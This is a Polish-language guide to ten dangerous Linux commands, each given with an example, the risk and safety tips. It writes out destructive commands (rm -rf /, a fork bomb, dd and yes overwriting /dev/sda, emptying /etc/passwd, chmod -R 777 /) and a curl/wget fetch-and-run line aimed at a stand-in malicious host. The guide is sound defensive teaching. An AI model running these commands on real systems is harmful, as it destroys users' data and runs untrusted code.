10 niebezpiecznych poleceń Linuksa, których nie należy używać

Niektóre polecenia w systemie Linux są niezwykle niebezpieczne, szczególnie jeśli zostaną użyte bez zrozumienia ich skutków. Poniżej znajdziesz rozbudowany poradnik prezentujący dziesięć najbardziej niebezpiecznych poleceń Linuksa, wyjaśnienia ich działania, zagrożenia, sposoby ich rozpoznania oraz dobre praktyki, które pozwolą Ci uniknąć krytycznych błędów.

1. rm -rf /

Opis –
Polecenie to usuwa bezzwrotnie wszystkie pliki i katalogi z katalogu głównego systemu – razem z całą strukturą plików.

Przykład użycia –

rm -rf / 

Dlaczego to niebezpieczne –
Usuwa cały system operacyjny i dane bez możliwości ich odzyskania. Komenda ta nie prosi o potwierdzenie i nie zachowuje żadnych wersji kopii zapasowych.

Jak się zabezpieczyć –

• Nigdy nie uruchamiaj rm -rf na katalogu głównym / lub innych kluczowo ważnych katalogach systemowych.
• Pracuj zawsze na precyzyjnie określonych ścieżkach.

2. :(){ :|: & };:

Opis –
To tzw. fork bomb – specjalny łańcuch poleceń, który tworzy wykładniczo rosnącą liczbę procesów.

Przykład użycia –

:(){ :|:& };: 

Dlaczego to niebezpieczne –
Może całkowicie zablokować i „zamrozić” system, wyczerpując wszystkie zasoby procesora i pamięci RAM.

Jak się zabezpieczyć –

• Nie kopiuj do terminala podejrzanych jednolinijkowych poleceń, których działania nie rozumiesz.

3. mkfs.ext4 /dev/sda lub mkfs na istniejącym dysku

Opis –
Polecenie formatuje wskazane urządzenie blokowe (dysk, partycję).

Przykład użycia –

mkfs.ext4 /dev/sda 

Dlaczego to niebezpieczne –
Bezpowrotnie usuwa wszystkie dane na urządzeniu wskazanym w poleceniu.

Jak się zabezpieczyć –

• Zawsze dokładnie sprawdzaj, które urządzenie zamierzasz formatować.
• Twórz kopie zapasowe ważnych danych.

4. >/etc/passwd lub echo coś >> /etc/shadow

Opis –
Przekierowanie wyjścia do krytycznych plików systemowych, np. pliku z hasłami.

Przykład użycia –

> /etc/passwd echo "test" >> /etc/shadow 

Dlaczego to niebezpieczne –
Możesz uszkodzić pliki odpowiedzialne za użytkowników i hasła – system może stać się nieużywalny, a dostęp do niego niemożliwy.

Jak się zabezpieczyć –

• Nigdy nie stosuj wyjścia poleceń do krytycznych plików systemowych bez pełnej świadomości skutków.

5. dd if=/dev/zero of=/dev/sda

Opis –
Program dd potrafi wykonywać kopiowanie blokowe – w tym przypadku zerowanie całego dysku twardego.

Przykład użycia –

dd if=/dev/zero of=/dev/sda 

Dlaczego to niebezpieczne –
Całkowicie nadpisuje dane na dysku i czyni ich odzyskanie bardzo trudnym lub niemożliwym.

Jak się zabezpieczyć –

• Sprawdzaj opcje if (input file) oraz of (output file) w poleceniu dd i nigdy nie wskazuj nieumyślnie całych dysków lub partycji.

6. wget ... | sh lub curl ... | sh

Opis –
Ściąganie skryptów z Internetu i bezpośrednie ich uruchamianie.

Przykład użycia –

wget http://złastrona.com/skrypt.sh | sh curl http://złastrona.com/skrypt.sh | sh 

Dlaczego to niebezpieczne –
Możesz uruchomić złośliwy kod bez żadnej weryfikacji.

Jak się zabezpieczyć –

• Zawsze pobieraj pliki skryptów najpierw do pliku, sprawdzaj ich zawartość i dopiero potem wykonuj.

7. chmod -R 777 / lub chown -R

Opis –
Zmiana uprawnień dla wszystkich plików – w tym przypadkowo na plikach systemowych.

Przykład użycia –

chmod -R 777 / chown -R user:user / 

Dlaczego to niebezpieczne –
Możesz uczynić system podatnym na ataki lub spowodować niestabilność aplikacji/uruchomienia.

Jak się zabezpieczyć –

• Nigdy nie używaj rekursywnych opcji dla katalogu głównego.

8. mv /folder/* /dev/null

Opis –
Przenoszenie zawartości do /dev/null oznacza trwałą utratę wszystkich przeniesionych danych.

Przykład użycia –

mv /home/user/* /dev/null 

Dlaczego to niebezpieczne –
Bezpowrotna utrata przenoszonych plików, ponieważ /dev/null to „czarna dziura” – cokolwiek tam trafi, znika na zawsze.

Jak się zabezpieczyć –

• Sprawdzaj cel przenoszenia/usuwania plików i katalogów.

9. kill -9 -1

Opis –
Polecenie zabija wszystkie działające procesy użytkownika (w tym często systemowe demony).

Przykład użycia –

kill -9 -1 

Dlaczego to niebezpieczne –
Może spowodować zawieszenie całego systemu i utratę pracy, a nawet wymagać restartu serwera.

Jak się zabezpieczyć –

• Stosuj kill ostrożnie, określając konkretne PID-y.

10. yes > /dev/sda

Opis –
Polecenie to bez przerwy wypisuje tekst do urządzenia blokowego, nadpisując je przypadkowymi danymi.

Przykład użycia –

yes > /dev/sda 

Dlaczego to niebezpieczne –
Szybko nadpisuje i uszkadza system plików, czyniąc dane nieodwracalnie utraconymi.

Jak się zabezpieczyć –

• Nigdy nie przekierowuj wyjścia poleceń do urządzeń blokowych.

Dobre praktyki bezpiecznej pracy w terminalu

• Zawsze czytaj i rozum polecenie przed jego uruchomieniem.
• Używaj konta zwykłego użytkownika zamiast roota, gdy nie wykonujesz zadań administracyjnych.
• Wykonuj regularne kopie zapasowe ważnych danych.
• Zwracaj uwagę na pochodzenie skryptów, które pobierasz i uruchamiasz.
• *Stosuj polecenia z minimalnym zasięgiem (np. działaj na konkretnym pliku, nie całym katalogu).
• Monitoruj działania w terminalu poprzez korzystanie z polecenia history.

Przestrzegając powyższych zasad i będąc świadomym najgroźniejszych poleceń, możesz znacząco zmniejszyć ryzyko poważnych awarii czy utraty danych pracując z Linuksem.